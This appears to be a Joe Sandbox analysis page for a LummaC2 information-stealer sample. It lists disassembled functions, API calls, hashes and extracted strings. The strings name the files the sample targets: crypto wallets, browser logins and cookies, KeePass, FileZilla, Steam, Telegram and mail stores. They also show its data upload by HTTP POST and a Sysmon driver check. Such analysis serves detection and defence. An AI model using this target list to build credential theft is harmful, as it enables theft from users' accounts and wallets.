Data$%programfiles%\Steam$%programfiles%\Steam\config$%userpro576xedfile%$%userprofile%$*.576xedtxt$*.conf$*.kbdx$*.leveldb$*576xed$.fin576xedger-pr576xedint.fp$?$@an($Aan($Aan($Applications/AnyDesk$Applications/FileZilla$Applications/KeePass$Applications/Steam$Applications/Steam/config$Applications/Telegram$Brave Software$Chr576xedome$Chromi576xedum$CocCoc$Comodo$Ed576xedge$Import576xedant File576xeds/Pro576xedfile$Kom576xedeta$Mozi576xedlla Firef576xedox$Op576xedera G576xedX Stab576xedle$Op576xedera Neo576xedn$Op576xedera Sta576xedble$ST4$TT4$TT4$Wal576xedlets/Bi576xednance$Wal576xedlets/Bin576xedance$Wall576xedets/Binan576xedce$Wall576xedets/Ele576xedctrum$Wall576xedets/Eth576xedereum$Wallets/Atomic$Wallets/Authy Desktop$Wallets/Bitcoin core$Wallets/Coinomi$Wallets/Electrum$Wallets/Exodus$Wallets/JAXX New Version$Wallets/Ledger Live$ap576xedp-sto576xedre.js576xedon$keyst576xedore$q7 C$recentservers.xml$sim576xedple-sto576xedrage.j576xedson$sitemanager.xml$ssfn*$y_B>
API String ID: 0-3008219856
Opcode ID: 89aa1017212fee1e620a7fbe6eb5b8cc1132262bae267c9db256cfec3297b749
Instruction ID: b823253c8ecb5ad27e2b287cb1dce7157abede6b904688f5b513f038bfe6f5bb
Opcode Fuzzy Hash: 89aa1017212fee1e620a7fbe6eb5b8cc1132262bae267c9db256cfec3297b749
Instruction Fuzzy Hash: 71C207B1F002299BCF249B9AED4297E7970AB14300FE4453BE015FB391E67D89518B9F

Function 00436ADC Relevance: 91.3, APIs: 22, Strings: 29, Instructions: 2004COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0043700A
KiUserCallbackDispatcher.NTDLL(00000000), ref: 0043726A
_strlen.LIBCMT ref: 004377D2
_strlen.LIBCMT ref: 0043788B
_strlen.LIBCMT ref: 00438B52
EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000000), ref: 00438BA3
_strlen.LIBCMT ref: 00438BAC
_strlen.LIBCMT ref: 00438C5F
_strlen.LIBCMT ref: 00438CD1

Strings

GhYuIq, xrefs: 00438C49
4jn`, xrefs: 00437077
sion, xrefs: 00438638
x_B>, xrefs: 00436BB7
- HW576xedID: , xrefs: 0043841F
p7 C, xrefs: 004371E0
4jn`, xrefs: 00436D91
n: , xrefs: 00438640
user32.dll, xrefs: 00436F71, 004388BF
q7 C, xrefs: 004371EB
n._, xrefs: 00436FA9
TT4, xrefs: 00437101
advapi32.dll, xrefs: 00438CB3
o._, xrefs: 00436C86
y_B>, xrefs: 00436BC2
- CP576xedU Name: , xrefs: 00436FE0
Lum576xedmaC2, Build 20233101, xrefs: 0043824A
C: , xrefs: 00437F16
Ver, xrefs: 00438630
Aan(, xrefs: 004377FD
$jRk, xrefs: 004370BA
y_B>, xrefs: 00438149
kernel32.dll, xrefs: 00437F81, 004386D8, 00438A67
- Phys576xedical Ins576xedtalled Memor576xedy: , xrefs: 004373D9
Syste576xedm.txt, xrefs: 004381E6
%s (%d.%d.%d), xrefs: 00438606
- Screen Resoluton: , xrefs: 0043887A
o._, xrefs: 00437C1B
LID(Lu576xedmma ID): , xrefs: 00438263

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: _strlen$CallbackDevicesDispatcherDisplayEnumUser
String ID: Ver$$jRk$%s (%d.%d.%d)$- CP576xedU Name: $- HW576xedID: $- Phys576xedical Ins576xedtalled Memor576xedy: $- Screen Resoluton: $4jn`$4jn`$Aan($C: $GhYuIq$LID(Lu576xedmma ID): $Lum576xedmaC2, Build 20233101$Syste576xedm.txt$TT4$advapi32.dll$kernel32.dll$n._$n: $o._$o._$p7 C$q7 C$sion$user32.dll$x_B>$y_B>$y_B>
API String ID: 3760342818-3740799521
Opcode ID: 6304991c9ea5481c71fa155e6c83a9424bd06b545788eb0206d9441cc2e12171
Instruction ID: 1dd07344ff1857ff55ac4e32df16f8dea444b4f0229405df86b90c0a9d587245
Opcode Fuzzy Hash: 6304991c9ea5481c71fa155e6c83a9424bd06b545788eb0206d9441cc2e12171
Instruction Fuzzy Hash: 710304B1504B419BDB349F29C88162BB7E0EB59310F24E92FE09BDB751D678E841CB1B

Function 0040B81C Relevance: 70.2, APIs: 17, Strings: 22, Instructions: 1922stringCOMMON

Download Yara Rule

APIs

lstrcmpW.KERNEL32(?,0045FD9A), ref: 0040C3B1
lstrcatW.KERNEL32(?,?), ref: 0040C427
lstrcatW.KERNEL32(?,0045E148), ref: 0040C431
lstrlenW.KERNEL32(?), ref: 0040C581
lstrcmpW.KERNEL32(?,0045FD96), ref: 0040C8D4
lstrlenW.KERNEL32(00001A2F), ref: 0040C901
lstrlenW.KERNEL32(00001A2F), ref: 0040D826

Strings

\??\, xrefs: 0040CC06
Ku^%, xrefs: 0040C4E3
Y=`, xrefs: 0040BF65
Y[[T, xrefs: 0040BA47
"B!H, xrefs: 0040C01E
{#9, xrefs: 0040C68A
LOCK, xrefs: 0040D3C0
Ku^%, xrefs: 0040D407
bi, xrefs: 0040BCD9
{#9, xrefs: 0040B98F
Ku^%, xrefs: 0040BE93
ntdll.dll, xrefs: 0040CCDE, 0040D538, 0040D59F
kernel32.dll, xrefs: 0040BA2D
Y=`, xrefs: 0040D07D
Ku^%, xrefs: 0040D2EB
Ku^%, xrefs: 0040BD4A
L2&e, xrefs: 0040CFFB
Ku^%, xrefs: 0040D785
"B!H, xrefs: 0040CD2B
L2&e, xrefs: 0040CA7D
K2&e, xrefs: 0040C262
Ku^%, xrefs: 0040D1F5

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcatlstrcmp
String ID: "B!H$"B!H$K2&e$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$L2&e$L2&e$LOCK$Y[[T$\??\$bi$kernel32.dll$ntdll.dll${#9${#9$Y=`$Y=`
API String ID: 156957741-3266097529
Opcode ID: 4ea3cb5ec3a93236d7666c37762ee35f546d3df60b269b62f966a55ecf08b777
Instruction ID: 88d54f90e21775ceda28cbcef53f0ea71a711b7076ec2cdd820ba9bac023bc57
Opcode Fuzzy Hash: 4ea3cb5ec3a93236d7666c37762ee35f546d3df60b269b62f966a55ecf08b777
Instruction Fuzzy Hash: 3CF2D4B2D002198BDF249F9888856BEB674EF54700F24453BE516FB3E0D7788A458B9F

Function 0041F9A4 Relevance: 40.6, APIs: 6, Strings: 16, Instructions: 2064COMMON

Download Yara Rule

Strings

eo>w, xrefs: 0041FE06
"w, xrefs: 004201BD
"w, xrefs: 0041FD1F
mNA/, xrefs: 0041FA0C
EeS, xrefs: 0041FF95
EeS, xrefs: 00420D0C
fo>w, xrefs: 0042079B
VL6T, xrefs: 0041FFA0
KI3i, xrefs: 004209BF
_m.Q, xrefs: 00421C7C
JI3i, xrefs: 004200BA
_m.Q, xrefs: 0042046C
KI3i, xrefs: 00421D30
VL6T, xrefs: 004215D1
EeS, xrefs: 00420E73
fo>w, xrefs: 0042133B

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: "w$ "w$EeS$EeS$EeS$JI3i$KI3i$KI3i$VL6T$VL6T$_m.Q$_m.Q$eo>w$fo>w$fo>w$mNA/
API String ID: 0-3469262258
Opcode ID: 4c97abe84ae84427aa405d53373a48c981ee8d0905f9e59dac9583b8261a3c6c
Instruction ID: 53dd30e2529ea33158ec6446975a809713fb297dce848eb7333cd10e9ac2b658
Opcode Fuzzy Hash: 4c97abe84ae84427aa405d53373a48c981ee8d0905f9e59dac9583b8261a3c6c
Instruction Fuzzy Hash: 8303F8B1E101298BCF28DB58D9856BEB7B5AB24300F64052FD415EB360D378CD868B9F

Function 0040E14E Relevance: 40.3, APIs: 6, Strings: 16, Instructions: 1822stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,C0E8A4B4), ref: 0040E55B
lstrcatW.KERNEL32(?,0045E102), ref: 0040E565
lstrcatW.KERNEL32(?,00000000), ref: 0040E7C3

Strings

Pz#, xrefs: 0040F5D4
v2B, xrefs: 0040E894
)lu, xrefs: 0040F035
Ied|, xrefs: 0040F83D
u2B, xrefs: 0040E89E
n_v, xrefs: 0040F040
Ied|, xrefs: 0040E74E
(lu, xrefs: 0040E72D
!t8, xrefs: 0040E6A4
kernel32.dll, xrefs: 0040E764
Pz#, xrefs: 0040E59F
"t8, xrefs: 0040E6AF
"t8, xrefs: 0040F623
)lu, xrefs: 0040EEC0
v2B, xrefs: 0040F158
n_v, xrefs: 0040FE12

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: !t8$"t8$"t8$(lu$)lu$)lu$Ied|$Ied|$Pz#$Pz#$kernel32.dll$n_v$n_v$u2B$v2B$v2B
API String ID: 4038537762-116603239
Opcode ID: 12bf652b1bb6dbd17e31e8eaa5e0b1f59006f58fc57be00d5560b6d267fe1625
Instruction ID: 6ea63d0937669649ebb299a5b80ec071dd59a3ad312de0dc3acd440ddf73d718
Opcode Fuzzy Hash: 12bf652b1bb6dbd17e31e8eaa5e0b1f59006f58fc57be00d5560b6d267fe1625
Instruction Fuzzy Hash: C7E2ECB1D001199BDF248B99C9456BEBA71BB14304F24093BE506FF3D1D3798A92CB9B

Function 00430E6C Relevance: 39.9, APIs: 14, Strings: 8, Instructions: 1432memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00430F45
GetProcessHeap.KERNEL32 ref: 004314B2
HeapAlloc.KERNEL32(?,00000008,00000028), ref: 004314EB
GetDIBits.GDI32(?,00000001,00000000,?,?,00000001,00000000), ref: 004321FA
ReleaseDC.USER32(00000000,?), ref: 00432204
GetProcessHeap.KERNEL32 ref: 004326F0
RtlFreeHeap.NTDLL(00000000,00000000,?), ref: 004326FF
GetProcessHeap.KERNEL32 ref: 00432701
HeapFree.KERNEL32(00000000,00000000,00000001), ref: 00432708

Strings

y_B>, xrefs: 004314CE
$jRk, xrefs: 004313CB
q7 C, xrefs: 00430F99
TT4, xrefs: 00432147
y_B>, xrefs: 0043222D
q7 C, xrefs: 004317E9
?, xrefs: 004325D3
TT4, xrefs: 00431425

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$AllocAllocateBitsRelease
String ID: $jRk$?$TT4$TT4$q7 C$q7 C$y_B>$y_B>
API String ID: 2023195035-2600574631
Opcode ID: 5178d04942d301932e8b90fcb8df29a441936fb4bdecd8d5e545f1f0f99eb8d3
Instruction ID: 86873c67e1170f8f17d23c3501641da2f07f81d3ce14e24acfbd45c3e0a97cea
Opcode Fuzzy Hash: 5178d04942d301932e8b90fcb8df29a441936fb4bdecd8d5e545f1f0f99eb8d3
Instruction Fuzzy Hash: 1FC2D771E001198BDF28CF98C9926BEB6B0AF5C314F24252BD515EB360D7789E41CB9B

Function 00434080 Relevance: 39.4, APIs: 10, Strings: 12, Instructions: 872registryCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004346DB
RegEnumKeyExW.KERNELBASE(?,?,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00434725
RegCloseKey.KERNELBASE(?), ref: 0043475B
RegOpenKeyExW.KERNELBASE(80000002,?,00000000,00020019,?,00000001), ref: 00434DA5
RegCloseKey.ADVAPI32(?,00000001), ref: 00434F17
RegCloseKey.ADVAPI32(?,00000001), ref: 00434F76

Strings

%s%s, xrefs: 004346D5
TT4, xrefs: 00434543
y_B>, xrefs: 0043463A
$jRk, xrefs: 00434578
%s\%s, xrefs: 00434CF1
DisplayName, xrefs: 00434BF4
$jRk, xrefs: 00434B06
y_B>, xrefs: 00434738
Software.txt, xrefs: 00434E05
TT4, xrefs: 00434C71
?, xrefs: 00434915
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0043495F, 00434CEC

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: Close$EnumOpenwsprintf
String ID: $jRk$$jRk$%s%s$%s\%s$?$DisplayName$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall$Software.txt$TT4$TT4$y_B>$y_B>
API String ID: 44529101-205855365
Opcode ID: dfa5f994e76983f3f8c4cf4d5fb617366fdece3346ca8abc111b64aa0c8d78cd
Instruction ID: 3b7421bd9f904e401ff100dd7efef49cd6fe7be7401ce4d7a99a7b86551d2639
Opcode Fuzzy Hash: dfa5f994e76983f3f8c4cf4d5fb617366fdece3346ca8abc111b64aa0c8d78cd
Instruction Fuzzy Hash: E2621D70E002198BDF28CB9899455FEB674BF9C318F242517E625EB360D73CAD418B9B

Function 0042AD82 Relevance: 25.7, Strings: 20, Instructions: 749COMMON

Download Yara Rule

Strings

*.ABD, xrefs: 0042B059, 0042B0EA
n_v, xrefs: 0042B244
*.EML, xrefs: 0042B0B1, 0042B790
*.mbox, xrefs: 0042B046, 0042B0D7
Mail Clients\The Bat\AppData, xrefs: 0042B0AB, 0042B0B0, 0042B0C3, 0042B0D6, 0042B0E9, 0042B0FC, 0042B10F, 0042B199, 0042B19E, 0042B1B1, 0042B56B, 0042B570, 0042B583, 0042B596
*.TBK, xrefs: 0042B110, 0042B8B9
*.HBI, xrefs: 0042B19F, 0042B90E
*.TBB, xrefs: 0042B51E, 0042B571
%appdata%\The Bat!, xrefs: 0042B265
n_v, xrefs: 0042AFFA
*.TBN, xrefs: 0042B531, 0042B584
*.MSG, xrefs: 0042B597, 0042B77D
%localappdata%\The Bat!, xrefs: 0042B935
kernel32.dll, xrefs: 0042B5B3, 0042B8E5
*.MSB, xrefs: 0042B0C4, 0042B7A3
*.txt, xrefs: 0042B1B2, 0042B61E
(lu, xrefs: 0042AF6C
)lu, xrefs: 0042B239
*.FLX, xrefs: 0042B06C, 0042B0FD
Mail Clients\The Bat\Local, xrefs: 0042B040, 0042B045, 0042B058, 0042B06B, 0042B518, 0042B51D, 0042B530, 0042B619, 0042B777, 0042B77C, 0042B78F, 0042B7A2, 0042B8B4, 0042B909

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: %appdata%\The Bat!$%localappdata%\The Bat!$(lu$)lu$*.ABD$*.EML$*.FLX$*.HBI$*.MSB$*.MSG$*.TBB$*.TBK$*.TBN$*.mbox$*.txt$Mail Clients\The Bat\AppData$Mail Clients\The Bat\Local$kernel32.dll$n_v$n_v
API String ID: 4038537762-373908387
Opcode ID: 9865856486611794f12a139d77c18e5c05c58a82ffa741dd00c0f22e25a9caec
Instruction ID: 4f92dd08cf156959b88a3ca31d79465b6333db6cd064390b28fe5485dbf8b601
Opcode Fuzzy Hash: 9865856486611794f12a139d77c18e5c05c58a82ffa741dd00c0f22e25a9caec
Instruction Fuzzy Hash: 7042D7F1E0012A9BCF149A55AC5667F7B74EB51304FA8052BE405FA3A1E338CA5187DF

Function 00405AAA Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 448
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,0045E102,?,?,00000000,?,?,004058C6), ref: 00405BEF
lstrcatW.KERNEL32(00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405EC4
lstrcatW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405ED7
lstrcatW.KERNEL32(00000000,?,?,?,?,?,00000000,?,?,004058C6), ref: 00405EDF
lstrcatW.KERNEL32(?,?,?,?,?,00000000,?,?,004058C6), ref: 00405EF3
lstrcatW.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,004058C6), ref: 00405F06
lstrcatW.KERNEL32(?,84D55917,?,?,?,?,00000000,?,?,004058C6), ref: 00405F0E

Strings

\Loc576xedal Extens576xedion Settin576xedgs\, xrefs: 00405EC6
n_v, xrefs: 00405C99
/Ext576xedensio576xedns/, xrefs: 00405EF5
n_v, xrefs: 00405B64
,, xrefs: 00405C1E
*576xed, xrefs: 004061E5

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: *576xed$,$/Ext576xedensio576xedns/$\Loc576xedal Extens576xedion Settin576xedgs\$n_v$n_v
API String ID: 4038537762-1578839816
Opcode ID: c0ae44d74d2992532015a5b165d06f1b6e1b0c53f96b55d44899152aba16d5ae
Instruction ID: e5bf92a8c3e4632e865b489cc3d7c979cf6fee557c11a145fed96966642f9e4d
Opcode Fuzzy Hash: c0ae44d74d2992532015a5b165d06f1b6e1b0c53f96b55d44899152aba16d5ae
Instruction Fuzzy Hash: 5FF1F9B1D006198BCF28DB98889657FBA74EB44300F25463BE506FA3D1D73C9A518F9B

Function 0041C270 Relevance: 23.6, APIs: 1, Strings: 12, Instructions: 812COMMON

Download Yara Rule

Strings

9a%^, xrefs: 0041C5DF
Content-Type: multipart/form-data; boundary=%s, xrefs: 0041CCD2
9a%^, xrefs: 0041C480
M%, xrefs: 0041C500
SqDe87817huf871793q74, xrefs: 0041CCCD
L%, xrefs: 0041C3AA
winhttp.dll, xrefs: 0041C43E, 0041C859, 0041C85E, 0041C880, 0041C8A2, 0041CA62, 0041CACA, 0041CC64, 0041CD5B, 0041CDBE, 0041CF1A, 0041CFAF
9a%^, xrefs: 0041C981
TeslaBrowser/5.5, xrefs: 0041C870
9a%^, xrefs: 0041CF0D
M%, xrefs: 0041C3CB
POST, xrefs: 0041C824

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: 9a%^$9a%^$9a%^$9a%^$Content-Type: multipart/form-data; boundary=%s$L%$M%$M%$POST$SqDe87817huf871793q74$TeslaBrowser/5.5$winhttp.dll
API String ID: 0-485045143
Opcode ID: 93238ce1bce5d0f96e870d474ccd94fa1ee818516e10118a3e8a746afefe7c00
Instruction ID: c94fe321a93857c184b0378d7fc968df2dfc5883700fbc77eb7b7d771d47b6e9
Opcode Fuzzy Hash: 93238ce1bce5d0f96e870d474ccd94fa1ee818516e10118a3e8a746afefe7c00
Instruction Fuzzy Hash: 73521DB1E802058BDF288EE89CC56FE7AA1AB58304F24052BE515E6390D77CCDC1979F

Function 0040620B Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 445
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(?,0045E102), ref: 0040641B
lstrcatW.KERNEL32(?,?), ref: 00406423
lstrcatW.KERNEL32(?,?), ref: 0040692A
lstrcatW.KERNEL32(?,0045E102), ref: 00406934

Strings

Ku^%, xrefs: 004065EC
Ku^%, xrefs: 004068CD
Y=`, xrefs: 004065CA
Y=`, xrefs: 00406310

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: Ku^%$Ku^%$Y=`$Y=`
API String ID: 4038537762-3617128223
Opcode ID: 8aca2622c3c3d1db70070bb2a5585c4558611a8a3d103d468629aeb63b1ff0ca
Instruction ID: 9c9fa2152e9cc94146e123e662ad7e189f6101f2fbba187f29f17e96b34d8480
Opcode Fuzzy Hash: 8aca2622c3c3d1db70070bb2a5585c4558611a8a3d103d468629aeb63b1ff0ca
Instruction Fuzzy Hash: 72F11AB1D0010A9BCF249E9898815BE7A70AB54304F264D3BE517FA3E4D37CCD619B5B

Function 0042B9C5 Relevance: 16.7, Strings: 13, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

*CACHE.PM, xrefs: 0042BE31
*.USR, xrefs: 0042BE6A
*.PM, xrefs: 0042BE57
*.WPM, xrefs: 0042BE44
Ku^%, xrefs: 0042BCB6
*.CNM, xrefs: 0042BA7B
Ku^%, xrefs: 0042BE15
*.PML, xrefs: 0042BAB4
*.PMF, xrefs: 0042BA8E
kernel32.dll, xrefs: 0042BA16
Mail Clients\Pegasus, xrefs: 0042BA75, 0042BA7A, 0042BA8D, 0042BAA0, 0042BAB3, 0042BE2B, 0042BE30, 0042BE43, 0042BE56, 0042BE69
C:\PMAIL, xrefs: 0042BB07
*.PMN, xrefs: 0042BAA1

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: *.CNM$*.PM$*.PMF$*.PML$*.PMN$*.USR$*.WPM$*CACHE.PM$C:\PMAIL$Ku^%$Ku^%$Mail Clients\Pegasus$kernel32.dll
API String ID: 0-3904125897
Opcode ID: c2af665f8e7a6a5fb5bf80d2b66eb56a303a312d12f5e083bf41e33716631812
Instruction ID: 84dac617f37148c4bf89ffca1ba6cb6ddcd73cd34940f6261eccf690c7d83b59
Opcode Fuzzy Hash: c2af665f8e7a6a5fb5bf80d2b66eb56a303a312d12f5e083bf41e33716631812
Instruction Fuzzy Hash: E0E10BB1F0012A8BCF249E99A88167F7B74EB05354FA4052BE511EB361E77C8D409BDB

Function 0040A928 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 475
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,74DF0880,?,0040B7CA,0040C9F4,?,?,?), ref: 0040AC5E
lstrcatW.KERNEL32(?,\??\,?,?,?,?,?,?,?,?,74DF0880,?,0040B7CA,0040C9F4,?,?), ref: 0040ACC2

Strings

ntdll.dll, xrefs: 0040AF92, 0040B092
kernel32.dll, xrefs: 0040A947
\??\, xrefs: 0040ACBA

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID: \??\$kernel32.dll$ntdll.dll
API String ID: 1475610065-320376045
Opcode ID: 59cd2d1ccfa00f4e6d6c0bc67caa238be280e9eaa5e7935e3225b88f4da3e326
Instruction ID: cf05d70ef52a95d5e776fd44e962e356ae6502797ff445894325f4a97f5a2809
Opcode Fuzzy Hash: 59cd2d1ccfa00f4e6d6c0bc67caa238be280e9eaa5e7935e3225b88f4da3e326
Instruction Fuzzy Hash: E302C5B1E443198ADF288A58C842ABFB670EB14310F25493BE515FB3E0D3798D519B9F

Function 0042FD35 Relevance: 14.1, Strings: 11, Instructions: 308
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Ku^%, xrefs: 0042FFF1
key4.db, xrefs: 0042FE54
places.sqlite, xrefs: 00430215
Ku^%, xrefs: 0043018E
Ku^%, xrefs: 00430089
cert9.db, xrefs: 0042FD86
cookies.sqlite, xrefs: 004301F4
Ku^%, xrefs: 0042FE0F
Ku^%, xrefs: 0042FD7B
logins.json, xrefs: 00430206
formhistory.sqlite, xrefs: 0042FD98

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: Ku^%$Ku^%$Ku^%$Ku^%$Ku^%$cert9.db$cookies.sqlite$formhistory.sqlite$key4.db$logins.json$places.sqlite
API String ID: 4038537762-2469458786
Opcode ID: 5cc8e0385a1e201e213d2df3de3c9283c111f345cb6a958e47c3068638802ac2
Instruction ID: d1eb3a7c9248dbe3af820f863548cf4fb9ed3ca77677979f9304c8b24649e330
Opcode Fuzzy Hash: 5cc8e0385a1e201e213d2df3de3c9283c111f345cb6a958e47c3068638802ac2
Instruction Fuzzy Hash: 9FB128B1E1012A97CF288E58A95567F7674AB45300FE4163BE816FB390E73DCA05878B

Function 004262A1 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 391
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(fltl), ref: 004263DE

Strings

dll, xrefs: 004263C1
SysmonDrv, xrefs: 0042662E
fltl, xrefs: 004263D9, 004263DD
A8r, xrefs: 00426415
ib.d, xrefs: 004263C9

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: A8r$SysmonDrv$dll$fltl$ib.d
API String ID: 1029625771-1616023887
Opcode ID: 2db2a4e5335f366ea46298763abcd9c468ba7e06b9ae091ed3480071e9d520ab
Instruction ID: eb42a9731a47ced65949ee17454b9c50096d91694aa44b165600d0182d074a5f
Opcode Fuzzy Hash: 2db2a4e5335f366ea46298763abcd9c468ba7e06b9ae091ed3480071e9d520ab
Instruction Fuzzy Hash: E7E1D5B1709220DBCB24AB18E68572E76E5EB80304FA65D1FF485CB350D63DC9829B5B

Function 00402476 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 655COMMON

Download Yara Rule

Strings

VL6T, xrefs: 00402A09
UL6T, xrefs: 0040263D
M0@, xrefs: 00402DE3

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: M0@$UL6T$VL6T
API String ID: 0-769956738
Opcode ID: 3f7b00bcc41dc9950e88c817e104c281ddb069482e9e35bb9bdcf7b3ae0a07f6
Instruction ID: 5b652a97159c1cfdc4854cd4c98ad9d0b798284c57e6c6df073e9b00d242a01e
Opcode Fuzzy Hash: 3f7b00bcc41dc9950e88c817e104c281ddb069482e9e35bb9bdcf7b3ae0a07f6
Instruction Fuzzy Hash: 0032A871D1051B8BCF289A98878D57EB6B0AB54350B24063BE915FB3D0D3BCCE419B9B

Function 0040B129 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 375
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,74E2F770,74E2F770), ref: 0040B792
NtClose.NTDLL ref: 0040B7B1

Strings

ntdll.dll, xrefs: 0040B425, 0040B61B, 0040B797
Y[, xrefs: 0040B682
LK, xrefs: 0040B723

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: CloseFileRead
String ID: LK$Y[$ntdll.dll
API String ID: 752142053-4222218168
Opcode ID: 674c179e697703f44c2f44510fd3adef83a7dc0e616b3acf5fe27305b6ec38da
Instruction ID: 4487220ceab9a8d4c25bfe658470c8f7c93894071a863f051833b6fbd766e42f
Opcode Fuzzy Hash: 674c179e697703f44c2f44510fd3adef83a7dc0e616b3acf5fe27305b6ec38da
Instruction Fuzzy Hash: C0E1BDB29043058BDB249F69C59516EBAE1EB85314F25893FE485FB3D0E33C89418B9F

Function 00422177 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 183nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041F916: VirtualQuery.KERNEL32(?,00001000,00001000), ref: 0041F984

NtQueryInformationProcess.NTDLL(000000FF,0000001E,?,00000004,00000000), ref: 004223A5

Strings

^^4, xrefs: 0042238B
^^4, xrefs: 00422365
^^4, xrefs: 0042225A
]^4, xrefs: 00422191

Memory Dump Source

